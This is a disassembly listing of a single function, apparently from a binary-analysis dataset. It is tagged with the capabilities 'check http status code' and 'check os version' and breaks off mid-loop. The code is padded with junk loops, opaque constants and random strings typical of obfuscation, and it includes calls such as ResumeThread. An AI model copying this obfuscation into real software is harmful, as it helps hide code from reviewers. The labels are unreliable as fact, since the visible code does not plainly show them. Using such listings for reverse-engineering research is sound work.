Function at 0x10017f03
Capabilities:
Check http status code
Check os version

Disassembly:
mov eax, 0x1005d181
call fcn.1005c418
sub esp, 0x594
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x25c], edx
mov dword [ebp - 0x60], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x54], 0xd6c05baf
mov dword [ebp - 0x208], 0x5ef13550
mov dword [ebp - 0x54], 0xffffffed
jmp 0x10017fdf
push 1
lea ecx, [ebp - 0x2c0]
call fcn.1000f820
push 0x6dd0
push ebx
push 0x4100
lea eax, [ebp - 0x1f8]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0x20c], 1
mov dword [ebp - 0x244], 0xfffffff9
mov edx, 0x7051
push eax
call fcn.10017b0c
add esp, 0x14
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x2c0]
push eax
lea eax, [ebp - 0x54]
push eax
push ecx
push 0x5365
push 0x67ad
push 0x5c32
lea eax, [ebp - 0x244]
mov cl, 1
push eax
push 0x3c46
call fcn.10016e19
add esp, 0x28
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x2c0]
call fcn.1000f8a3
dec dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0xffffffe5
jle 0x10017f44
mov dword [ebp - 0x184], ebx
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
push 1
push 0x140b
push 0x965
push ecx
mov byte [ebp - 4], 2
call fcn.10017147
add esp, 0x10
mov dword [ebp - 0x14], 0x1928c176
mov byte [ebp - 0x41], bl
lea edx, [ebp - 0x41]
push 0x6e84
push ecx
push 1
push ecx
call fcn.10017415
add esp, 0x10
mov dword [ebp - 0x14], ebx
jmp 0x10018064
push 0x68a1
push ebx
push ebx
push 1
push 0x5627
push 0x6dcd
push 0xf17
mov edx, 0x66d4
mov ecx, 0x3d28
call fcn.100177f5
add esp, 0x1c
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe2
jle 0x10018037
push 0x61
pop eax
push 2
mov dword [ebp - 0xb8], 0xd0c0701
mov ecx, ebx
mov dword [ebp - 0xb4], 0xd18503
mov dword [ebp - 0xb0], 0x6080403
mov dword [ebp - 0xac], 0x6091c0a
mov dword [ebp - 0xa8], 0x48045905
mov dword [ebp - 0xa4], 0x2c072600
mov dword [ebp - 0xa0], 0x2c06000b
mov word [ebp - 0x9c], 0x2002
mov word [ebp - 0x3a2], ax
pop esi
cmp esi, 4
jne 0x100180d4
push esi
pop ecx
push 6
pop esi
jmp 0x1001810a
movzx edx, byte [ebp + esi - 0xb7]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xba]
movzx eax, word [ebp + eax*2 - 0x3a4]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0xb8]
mov word [ebp + eax*2 - 0x3a4], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x1e
jb 0x100180c8
push dword [ebp - 0x1f8]
movdqa xmm0, xmmword [0x1006b940]
lea ecx, [ebp - 0x21c]
xor eax, eax
mov dword [ebp - 0x21c], ebx
mov word [ebp - 0x38a], ax
lea eax, [ebp - 0x3c8]
push eax
lea eax, [ebp - 0x3d8]
mov dword [ebp - 0x18], 0x70ade216
push eax
push ebx
movdqu xmmword [ebp - 0x3d8], xmm0
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x214], ebx
call fcn.10013128
mov byte [ebp - 4], 3
mov dword [ebp - 0x14], 0x3c04
cmp dword [ebp - 0x14], 0x3db9
jle 0x100181cf
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov eax, ebx
mov dword [ebp - 0x20], 0x467c
mov dword [ebp - 0x1c], eax
mov ebx, eax
mov esi, 0x51ee
mov ecx, ebx
mov eax, edi
sar eax, cl
mov ecx, 0x10078798
cdq
push edx
push eax
call fcn.1000f531
dec ebx
dec esi
jne 0x10018190
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add eax, esi
dec dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
jne 0x10018189
inc esi
mov dword [ebp - 0x24], esi
push 0
pop ebx
cmp esi, 0x3226
jl 0x1001817d
inc edi
cmp edi, 0x4d5f
jl 0x1001817a
mov dword [ebp - 0x38], 0x35c0de45
mov byte [ebp - 4], 4
cmp dword [ebp - 0x14], 0x38c2
jge 0x10018210
mov edx, str.kuzajp_paitgdvd_jlkg_uanid_qoeyjpyb_cfaep_dwb_olpvmwpzo_cwqswnioa_dxavpbc_gjpsv
mov ecx, 0x10078798
call fcn.10012752
jmp 0x10018210
mov dword [ebp - 4], 3
xor edx, edx
mov esi, dword [ebp - 0x21c]
inc edx
mov dword [ebp - 0x20], 4
xor ecx, ecx
mov dword [ebp - 0x14], 0x83800955
mov dword [ebp - 0x164], 0xfff8
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x1a8], 0x1d1a932d
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x38], 0x795b
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, edx
mov dword [esi + 4], edx
setl cl
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], edx
xor edx, edx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setl dl
imul eax, edx
cmp eax, dword [ebp - 0x1c]
je 0x1001832b
push 3
lea ecx, [ebp - 0x2b4]
call fcn.1000f820
lea eax, [ebp - 0x2b4]
mov byte [ebp - 4], 6
push eax
push 0x63f2
push ecx
push 0x6a46
push ebx
lea edx, [ebp - 0x19c]
call fcn.10017449
add esp, 0x14
mov dword [ebp - 0x14], 0xffffffe8
jmp 0x10018318
push ebx
push 0x4746
push 0x7370
push 0x4abd
lea eax, [ebp - 0x164]
mov dword [ebp - 0x254], 0x2e255bb5
push eax
push ecx
push ecx
lea edx, [ebp - 0x2b4]
lea ecx, [ebp - 0x254]
call fcn.10016a73
add esp, 0x1c
cmp dword [ebp - 0x34], ebx
jne 0x1001831e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffed
je 0x100182d9
lea ecx, [ebp - 0x2b4]
call fcn.1000f8a3
jmp 0x1001834a
push ecx
lea eax, [ebp - 0x1a8]
xor dl, dl
push eax
sub esp, 0xc
lea eax, [ebp - 0x34]
push eax
push 0x408
push ecx
call fcn.10016de4
add esp, 0x20
mov dword [ebp - 0x14], ebx
jmp 0x100183eb
mov dword [ebp - 0x18], ebx
jmp 0x10018368
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x84], 0x9132
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x10018357
mov dword [ebp - 0x34], ebx
jmp 0x100183e2
mov dword [ebp - 0x20], 7
mov dword [ebp - 0x2c], 1
cmp dword [ebp - 0x20], ebx
jne 0x1001838c
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x84]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, 1
setl cl
cmp ecx, dword [ebp - 0x84]
je 0x100183ad
cmp dword [ebp - 0x84], ebx
je 0x100183b7
cmp dword [ebp - 0x2c], ebx
je 0x100183b7
xor eax, eax
inc eax
jmp 0x100183b9
mov eax, ebx
mov ecx, dword [esi + 4]
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x84]
sub ecx, eax
mov eax, dword [ebp - 0x1a8]
cmp ecx, 5
setge dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x20], ecx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xf
je 0x10018373
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffed
jge 0x10018352
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 2
call fcn.1000f8a3
mov dword [ebp - 0x15c], 0xb90d
mov dword [ebp - 0x220], 0xfffffff7
mov dword [ebp - 0x1b8], 0x6c21
cmp dword [ebp - 0x15c], ebx
je 0x1001847f
push 0x7ec5
push 0x483d
lea eax, [ebp - 0x220]
mov dword [ebp - 0x234], 0x2eac4530
push eax
push 0x4599
lea eax, [ebp - 0x15c]
mov edx, 0x5358
push eax
push 0x192d
lea eax, [ebp - 0x234]
mov cl, 1
push eax
push 0x4877
push ebx
push 0x7428
push ebx
push 0x3a07
call fcn.10017e13
add esp, 0x30
jmp 0x100184c6
mov dword [ebp - 0x1c], 0x576c5165
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x1c]
dec eax
je 0x100184b4
push ecx
push ebx
push ecx
push 0x7c38
push ecx
lea ecx, [ebp - 0x1b8]
call fcn.10016cae
add esp, 0x14
jmp 0x100184c6
push 0x717d
push ebx
mov ecx, 0x7934
call fcn.100175bb
pop ecx
pop ecx
push 0x68
pop eax
push 2
mov dword [ebp - 0x98], 0xb03d306
mov dword [ebp - 0x94], 0x6050607
mov dword [ebp - 0x90], 0x42020c01
mov byte [ebp - 0x8c], bl
mov word [ebp - 0x8b], 0x443
mov byte [ebp - 0x89], 0xf
mov word [ebp - 0x2e0], ax
pop esi
mov dword [ebp - 0x18], esi
cmp esi, 0x10
jae 0x100185e7
mov dword [ebp - 0x24], 0x6921
cmp dword [ebp - 0x24], 0x6cd7
jle 0x10018590
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov dword [ebp - 0x1c], 0x35e2
mov edi, ebx
mov eax, esi
lea ecx, [ebp - 0x47c]
or eax, edi
cdq
push edx
push eax
call fcn.10001a5f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001854d
mov eax, dword [eax]
push eax
call fcn.10044793
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x47c]
call fcn.1001017e
inc edi
cmp edi, 0x373a
jl 0x10018531
mov eax, dword [ebp - 0x20]
add esi, eax
dec dword [ebp - 0x1c]
jne 0x1001852f
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x376c
jl 0x10018526
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
mov esi, dword [ebp - 0x18]
movzx edx, byte [ebp + esi - 0x97]
mov eax, esi
sub eax, ebx
movzx eax, byte [ebp + eax - 0x9a]
movzx ecx, word [ebp + eax*2 - 0x2ec]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x98]
add ecx, edx
cmp dword [ebp - 0x24], 0x672c
mov word [ebp + eax*2 - 0x2ec], cx
jge 0x100185da
push str.kgogbibj_ddqljbg_crn_pkqmtppti_inyk_kyb_mfc_qmbsz_god_racfbkn_lbcsgsr_caheilxj
call fcn.10044793
pop ecx
push 2
pop eax
mov dword [ebp - 4], eax
add esi, eax
jmp 0x10018507
xor eax, eax
mov word [ebp - 0x2dc], ax
mov dword [ebp - 0x24], 0x54fb
cmp dword [ebp - 0x24], 0x5729
jle 0x10018646
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov edi, esi
mov dword [ebp - 0x1c], 0x6951
mov ebx, edi
mov esi, 0x2730
mov eax, ebx
mov ecx, 0x10078798
cdq
push edx
push eax
call fcn.1000f531
dec ebx
dec esi
jne 0x10018615
dec edi
dec dword [ebp - 0x1c]
jne 0x1001860e
mov esi, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x189b
jl 0x10018605
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov dword [ebp - 0x35c], 7
mov word [ebp - 0x370], ax
lea ecx, [ebp - 0x370]
lea eax, [ebp - 0x2ec]
mov dword [ebp - 0x360], ebx
push eax
call fcn.1001a0ad
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x354]
xor eax, eax
mov dword [ebp - 0x340], 7
mov word [ebp - 0x354], ax
lea eax, [ebp - 0x3a4]
push eax
mov dword [ebp - 0x344], ebx
call fcn.1001a0ad
lea eax, [ebp - 0x354]
push eax
lea ecx, [ebp - 0x458]
call fcn.1001a46a
lea eax, [ebp - 0x370]
push eax
lea ecx, [ebp - 0x440]
call fcn.1001a46a
push ebx
push 1
lea ecx, [ebp - 0x354]
call fcn.10010352
push ebx
push 1
lea ecx, [ebp - 0x370]
call fcn.10010352
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x428]
push dword [ebp - 0x19c]
lea ecx, [ebp - 0x190]
mov dword [ebp - 0x190], ebx
push eax
lea eax, [ebp - 0x458]
mov dword [ebp - 0x18c], ebx
push eax
push ebx
mov dword [ebp - 0x188], ebx
call fcn.1001a5f9
push fcn.10019dd8
push 1
push 0x30
lea eax, [ebp - 0x458]
mov byte [ebp - 4], 0xc
push eax
call fcn.1004454b
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x24], 0x51fd
jge 0x10018769
mov edx, str.zxhaeih_nbqgjrll_qokq_rzerzudsl_xqqxdc_zfowuko_bqj_kioubj_sotanse_voomt
mov ecx, 0x10078798
call fcn.10012752
jmp 0x10018769
push 2
lea ecx, [ebp - 0x29c]
mov dword [ebp - 4], 0xc
call fcn.1000f820
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x238], 0xffffffff
mov dword [ebp - 0x1c], 0x1d5f
cmp dword [ebp - 0x1c], 0x20a4
jle 0x100187c2
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10078798
or eax, esi
cdq
push edx
push eax
call fcn.1000f531
inc edi
cmp edi, 0x739a
jl 0x1001879f
inc esi
cmp esi, 0x52e1
jl 0x1001879d
push 3
lea ecx, [ebp - 0x2f8]
call fcn.1000f820
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x1c], 0x19c4
jge 0x1001880c
mov edx, str.wavz_quwhu_muqcfl_txy_zbh_acqpwfpzd_cdomui_vkotmx_rukbvois_aipc_lgd_bdod_vsia
mov ecx, 0x10078798
call fcn.10012752
jmp 0x1001880c
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x20], 0x5993
cmp dword [ebp - 0x20], 0x5be0
jle 0x1001887c
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov dword [ebp - 0x1c], ebx
mov esi, ebx
lea ecx, [esi + edi]
mov dword [ebp - 0x2c], ebx
mov edi, eax
sar edi, cl
mov eax, edi
mov ecx, 0x10078798
xor eax, ebx
cdq
push edx
push eax
call fcn.1000f531
inc ebx
cmp ebx, 0x7855
jl 0x10018839
mov edi, dword [ebp - 0x1c]
inc esi
mov eax, dword [ebp - 0x18]
push 0
pop ebx
cmp esi, 0x1b1e
jl 0x1001882f
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x71ee
jl 0x1001882d
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x2eb
jl 0x10018828
push 0x33c9
lea eax, [ebp - 0x29c]
mov edx, 0x725c
push eax
push ecx
lea eax, [ebp - 0x230]
push eax
push 1
call fcn.10017449
add esp, 0x14
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x20], 0x5923
jge 0x100188dc
mov edx, str.lqsdkvs_sknp_yrjqdli_duetvwp_smnwwmuek_azbcbr_mcvocf_huzw_bsbt_noc_axcyuy_isjysge_flmiqxec
mov ecx, 0x10078798
call fcn.10012752
jmp 0x100188dc
push ecx
lea eax, [ebp - 0x230]
mov dword [ebp - 4], 0x10
push eax
push ecx
lea eax, [ebp - 0x2f8]
xor dl, dl
push eax
sub esp, 0x14
call fcn.1001750c
add esp, 0x24
mov byte [ebp - 0x40], bl
lea edx, [ebp - 0x40]
mov cl, 1
push 0x14f3
push 0x775d
push 0x6ccb
push 1
push 0x229e
push 1
call fcn.1001749b
add esp, 0x18
lea eax, [ebp - 0x238]
mov edx, 0x757c
push 1
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x2f8]
push eax
push 0x67a3
push ecx
push ecx
mov ecx, 0x3737
call fcn.10016a73
add esp, 0x1c
lea ecx, [ebp - 0x2f8]
call fcn.1000f8a3
lea ecx, [ebp - 0x29c]
mov byte [ebp - 4], 0xc
call fcn.1000f8a3
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x3a4]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x68], 0xfffffffc
lea ecx, [ebp - 0x284]
push 3
call fcn.1000f820
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x3a4]
push dword [ebp - 0x19c]
movdqa xmm0, xmmword [0x1006b910]
lea ecx, [ebp - 0x1f4]
push eax
lea eax, [ebp - 0x3b4]
mov dword [ebp - 0x1f4], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x3b4], xmm0
mov dword [ebp - 0x1f0], ebx
mov dword [ebp - 0x1ec], ebx
call fcn.10013128
sub esp, 0xc
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x358]
mov dword [ebp - 0x50], 0xefa1e1c5
lea edx, [ebp - 0x284]
mov dword [ebp - 0x2c], 0xffffffff
push 0x6410
push ecx
push ecx
push eax
push 0x43c9
mov cl, 1
call fcn.100176f5
add esp, 0x20
lea eax, [ebp - 0x50]
push eax
push ebx
push 0x73c6
lea eax, [ebp - 0x284]
push eax
push ecx
push 0x288a
lea edx, [ebp - 0x68]
lea ecx, [ebp - 0x1f4]
call fcn.10016b49
add esp, 0x18
mov dword [ebp - 0x50], ebx
cmp dword [ebp - 0x50], 3
jg 0x10018b63
mov edi, dword [ebp - 0x1f4]
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x14], 0xfffffffc
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x10018a73
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x26c], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10018a62
mov dword [ebp - 0x68], ebx
jmp 0x10018ae8
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
cmp dword [ebp - 0x18], ecx
jle 0x10018a9d
cmp dword [ebp - 0x14], ebx
je 0x10018a9d
xor esi, esi
inc esi
jmp 0x10018a9f
mov esi, ebx
mov eax, dword [ebp - 0x14]
xor edx, edx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setle dl
xor ecx, ecx
imul edx, esi
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
cmp eax, edx
setle cl
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
neg ecx
dec dword [ebp - 0x24]
cmp eax, ecx
jge 0x10018ada
xor eax, eax
inc eax
jmp 0x10018adc
mov eax, ebx
mov dword [ebp - 0x26c], eax
mov dword [ebp - 0x14], eax
inc dword [ebp - 0x68]
cmp dword [ebp - 0x68], 3
jle 0x10018a7e
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x26c]
mov eax, dword [ebp - 0x26c]
mov eax, dword [ebp - 0x26c]
mov eax, dword [ebp - 0x20]
cmp dword [edi + 8], eax
mov eax, dword [ebp - 0x14]
setle dl
sub edx, dword [edi + 4]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
sete cl
xor edx, edx
cmp ecx, 0xfffffff9
mov ecx, 0xbadcab39
setl dl
dec edx
neg edx
sbb edx, edx
xor eax, eax
neg edx
cmp edx, 0x6c09
setne al
cmp ecx, eax
mov ecx, 0xfef6f1ac
sbb eax, eax
inc eax
cmp ecx, eax
mov eax, dword [ebp - 0x284]
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 3
jle 0x10018a4c
lea ecx, [ebp - 0x1f4]
call fcn.1000f8a3
lea ecx, [ebp - 0x284]
mov byte [ebp - 4], 0xc
call fcn.1000f8a3
xor eax, eax
lea edi, [ebp - 0x2ec]
stosd dword es:[edi], eax
mov dl, 1
push ecx
push 0x6fae
push ecx
stosd dword es:[edi], eax
push 0xe80
sub esp, 0x14
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x240], 1
mov dword [ebp - 0x23c], 0xffffffff
call fcn.1001750c
add esp, 0x24
lea edx, [ebp - 0x240]
push ebx
push ecx
push ecx
lea ecx, [ebp - 0x23c]
call fcn.10017284
add esp, 0xc
lea eax, [ebp + 8]
mov edx, 0x2c17
push 0x3681
push 1
push eax
push 0x11dc
push ecx
lea eax, [ebp - 0x190]
mov ecx, 0x37ad
push eax
call fcn.10016b49
add esp, 0x18
push ebx
push 0xb396
push 0x12efe
call fcn.1002ce5e
pop ecx
pop ecx
call eax
mov dword [ebp - 0x18], 0xe04
cmp dword [ebp - 0x18], 0x10ed
jle 0x10018c7a
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov esi, ebx
mov eax, esi
and eax, edi
xor eax, ecx
lea ecx, [ebp - 0x494]
cdq
push edx
push eax
call fcn.10001a5f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10018c44
mov eax, dword [eax]
push eax
call fcn.10044793
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x494]
call fcn.1001017e
mov ecx, dword [ebp - 0x24]
inc esi
cmp esi, 0x4e0f
jl 0x10018c26
inc edi
cmp edi, 0x7d9b
jl 0x10018c24
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x11e6
jl 0x10018c22
mov dword [ebp - 0x6c], 0xfffffff9
lea ecx, [ebp - 0x1c4]
push 2
call fcn.1000f820
push 1
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 0x17
call fcn.1000f820
push 1
lea eax, [ebp - 0x1c4]
mov byte [ebp - 4], 0x18
push eax
lea eax, [ebp - 0x64]
mov dword [ebp - 0x38], 0xdc71837d
mov dword [ebp - 0x38], 0x67e9
mov ecx, 0x5a77
push eax
call fcn.10017557
add esp, 0xc
mov dword [ebp - 0x64], ebx
jmp 0x10018ce3
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x278]
mov dword [eax + ecx*4], 0x81a7ecc2
inc dword [ebp - 0x64]
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x64], ecx
jl 0x10018cd0
mov dword [ebp - 0x6c], 0x11
jmp 0x10018eb4
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x48], 0x77cce45d
mov dword [ebp - 0x20], 0xa7c3387d
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x14], ebx
jmp 0x10018d25
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x388], 0xb8909ff4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10018d14
mov dword [ebp - 0x14], ebx
jmp 0x10018d3d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x464], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10018d30
mov dword [ebp - 0x28], ebx
jmp 0x10018dbc
lea eax, [ebp - 0x28]
mov dword [ebp - 0x70], 0x51ae9a07
push eax
lea eax, [ebp - 0x48]
push eax
push 0x6e58
push 0x36a
push 0x29b2
lea eax, [ebp - 0x70]
push eax
push 0x4970
push 0x2d6b
push ecx
lea eax, [ebp - 0x278]
push eax
lea eax, [ebp - 0x1c4]
push ebx
push eax
lea edx, [ebp - 0x6c]
call fcn.10017e13
xor ecx, ecx
add esp, 0x30
inc ecx
mov dword [ebp - 0x70], ecx
cmp dword [ebp - 0x70], ebx
jl 0x10018db9
push ecx
push ecx
lea eax, [ebp - 0x3e]
mov byte [ebp - 0x3e], bl
push eax
push ecx
mov edx, 0x7d5
call fcn.1001759a
add esp, 0x10
dec dword [ebp - 0x70]
push 1
pop ecx
jns 0x10018d9a
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jle 0x10018d48
mov dword [ebp - 0x48], ebx
jmp 0x10018ea7
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x10018de9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x334], 0x6a093958
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10018dd8
mov dword [ebp - 0x14], ebx
jmp 0x10018e04
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4b8], 0x58d4ccf9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10018df3
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], ebx
jl 0x10018ea1
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c4]
mov edx, dword [ebp - 0x1c4]
mov eax, dword [eax + ecx*4]
mov dword [edx + esi*4], eax
test eax, eax
je 0x10018e87
cmp dword [ebp - 0x28], ebx
jne 0x10018e3a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [eax + ecx*4]
sub ecx, dword [eax + edx*4]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x1c], ecx
jne 0x10018e6b
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c4]
cmp dword [eax + ecx*4], ebx
jne 0x10018e6b
mov edx, ebx
jmp 0x10018e6e
xor edx, edx
inc edx
mov eax, dword [ebp - 0x278]
xor ecx, ecx
cmp edx, dword [eax]
setl cl
cmp dword [ebp - 0x48], ecx
jl 0x10018e87
xor ecx, ecx
mov eax, ebx
inc ecx
jmp 0x10018e8c
xor ecx, ecx
inc ecx
mov eax, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x384], eax
dec dword [ebp - 0x28]
jns 0x10018e16
dec dword [ebp - 0x24]
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xfffffffd
jne 0x10018dc9
dec dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], 0xf
jge 0x10018cf7
lea ecx, [ebp - 0x278]
call fcn.1000f8a3
lea ecx, [ebp - 0x1c4]
call fcn.1000f8a3
cmp dword [ebp - 0x18], 0xaf1
jge 0x10018ee8
push str.awyvb_tptde_kmraw_tsaj_tex_oksmjvtna_swqmud_avrda_emqq_awciioelv_lplf
call fcn.10044793
pop ecx
mov dword [ebp - 4], 0xc
xor edx, edx
mov dword [ebp - 0x74], 0xfa9b64fd
inc edx
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x74]
neg eax
sbb eax, eax
inc eax
add dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x74]
sub ecx, eax
xor eax, eax
cmp ecx, 2
setg al
cmp eax, dword [ebp - 0x30]
jge 0x10018f28
cmp dword [ebp - 0x30], ebx
jne 0x10018f2a
mov edx, ebx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
imul ecx, edx
xor edx, edx
add ecx, 0x509e
cmp ecx, eax
setl dl
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], ebx
je 0x10018f4d
xor eax, eax
inc eax
jmp 0x10018f4f
mov eax, ebx
cmp eax, dword [ebp - 0x14]
jge 0x10018f93
mov dword [ebp - 0x30], 0xffffffe5
jmp 0x10018f8b
push 0xaf8
push 1
push 1
push ebx
push 0x2bab
push 0x732a
push 0x7205
mov edx, 0x2896
mov ecx, 0x754c
call fcn.100177f5
add esp, 0x1c
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffe7
jne 0x10018f5d
jmp 0x1001900d
push 3
lea ecx, [ebp - 0x2a8]
call fcn.1000f820
lea eax, [ebp - 0x2a8]
mov byte [ebp - 4], 0x1b
push eax
push 1
lea ecx, [ebp - 0x210]
call fcn.100175bb
pop ecx
pop ecx
mov dword [ebp - 0x14], ebx
jmp 0x10018ff8
lea eax, [ebp - 0x2a8]
mov dword [ebp - 0x1fc], 0x7d2ae857
push eax
push 1
push 1
push 1
push 0x1c15
lea eax, [ebp - 0x30]
push 0x66b8
push eax
lea edx, [ebp - 0x74]
lea ecx, [ebp - 0x1fc]
call fcn.100177f5
add esp, 0x1c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x10018fbf
lea ecx, [ebp - 0x2a8]
mov byte [ebp - 4], 0xc
call fcn.1000f8a3
mov byte [ebp - 0x3f], bl
lea edx, [ebp - 0x3f]
push ecx
call fcn.10017a89
push ebx
push 0x10e5
push ecx
lea edx, [ebp - 0x320]
call fcn.1001759a
mov dword [ebp - 0x3c], ebx
add esp, 0x10
mov dword [ebp - 0x1c], 0x2fcc
cmp dword [ebp - 0x1c], 0x328b
jle 0x10019088
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x4ac]
or eax, edi
cdq
push edx
push eax
call fcn.10001a5f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10019061
mov eax, dword [eax]
push eax
call fcn.10044793
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4ac]
call fcn.1001017e
inc esi
